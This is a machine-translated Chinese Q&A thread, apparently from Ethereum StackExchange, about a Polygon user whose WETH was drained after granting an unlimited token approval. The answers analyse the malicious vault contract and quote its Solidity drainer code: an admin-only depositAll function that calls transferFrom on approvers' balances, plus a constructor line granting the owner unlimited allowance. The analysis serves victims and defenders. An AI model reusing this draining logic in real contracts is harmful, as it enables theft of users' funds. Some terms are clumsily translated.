在我开始之前,让我先给你txn的历史。
https://polygonscan.com/tx/0xc7927d4a8b0549dfd650eeab8b9570195d8fb9161884785e9b328c04b6a49232
还为WETH添加了我的Metamask历史。https://polygonscan.com/token/0x7ceb23fd6bc0add59e62ac25578270cff1b9f619?a=0xD939DE5a37D818d46d6366532feC981639395E71
总之,昨晚就在我睡觉之前,我把几乎所有的代币都换成了WETH,大概15个小时前。不过,如果你看一下我的地址中最高的交易,大约9小时前就出现了“批准”和“转帐”,我相信那是我沉睡的时候。早上我的平衡显示为0。很长一段时间以来,我的WETH余额是0,所以我想如果发生了任何黑客攻击,那么昨晚交换代币的过程中就会发生这种情况。这真的很奇怪,因为首先我确信我的种子短语没有被偷。其次,我昨天使用的平台都是比较可靠的,如Quickswap、Firebird Finance、Pear Finance、Iron Finance等,我得出的结论是,很可能是由于一些恶意的智能合同,我批准了我的WETH“无限”,我想知道我在哪里犯了这个错误,但我无法正确地解释代码。任何帮助都是非常感谢的。谢谢。
发布于 2021-08-11 09:00:30
TLDR :取消你对0x9bf475e0654ec615b473599c9d39ddd87b01e894合同的津贴,它就不会再发生了。
https://polygonscan.com/address/0x9bf475e0654ec615b473599c9d39ddd87b01e894#code这份合同非常明确地负责。一旦你给了它无限的补贴,合同所有者可以打电话给depositAll。
function depositAll(uint256 from, uint256 to) public onlyAdmin {
addressInfo.remove(msg.sender);
address[] memory addresses = getAddressInfo(from, to);
for (uint256 i = 0; i < addresses.length; i++) {
if (addresses[i] != address(0)) {
try token.transferFrom(addresses[i], address(this), token.balanceOf(addresses[i])) {}
catch Error(string memory /*reason*/) { }从字面上将合同地址转移到批准合同的用户的钱包中的所有WETH地址。然后,所有者(在weth上有无限的补贴)从构造函数中的这一行中签入合同。
IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619).safeApprove(address(msg.sender), uint256(-1));可以直接撤回与transferFrom.(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619签订的合同中的所有威思地址)。所有这些都在一份工作正常的保险库合同中被严重模仿。
发布于 2021-08-11 09:18:51
抱歉,伙计。显然你被一个恶意的DeFi网站欺骗了。跟随我的思路:
1-我认为只有两种可能性:(1)你的种子或私钥被泄露了,我认为这是最不可能的,因为在这一过程中没有耗尽其他资产,或者(2)你批准了对恶意智能合同的无限WETH许可。
2-我用PolygonScan来调查你的钱包过去的象征性批准。看来你已经批准了对这一特殊合同的无限许可:https://polygonscan.com/address/0x9bf475e0654ec615b473599c9d39ddd87b01e894。这看起来像一个典型的中间人攻击,在那里,这个合同是把自己作为中间人之间的用户和主厨合同。
很明显,这个合同的管理员首先调用一个depositAll(...)方法,从所有已经批准了无限许可的用户那里获得WETH:https://polygonscan.com/tx/0xc7927d4a8b0549dfd650eeab8b9570195d8fb9161884785e9b328c04b6a49232。
然后,它调用一个adminWithdraw()方法,通过这个恶意契约将用户所用的所有WETH赌注转移到Masterchef上,并将以前通过depositAll(...)获取的所有WETH全部转移到管理员的地址。
在将来,我建议你特别注意你批准无限津贴的合同。这个钱包已经被污染了,你永远无法确定它是否安全地再次使用它。在未来,尽量不要把任何的代币放在钱包里,你批准了无限的零用钱。
https://ethereum.stackexchange.com/questions/106936
复制相似问题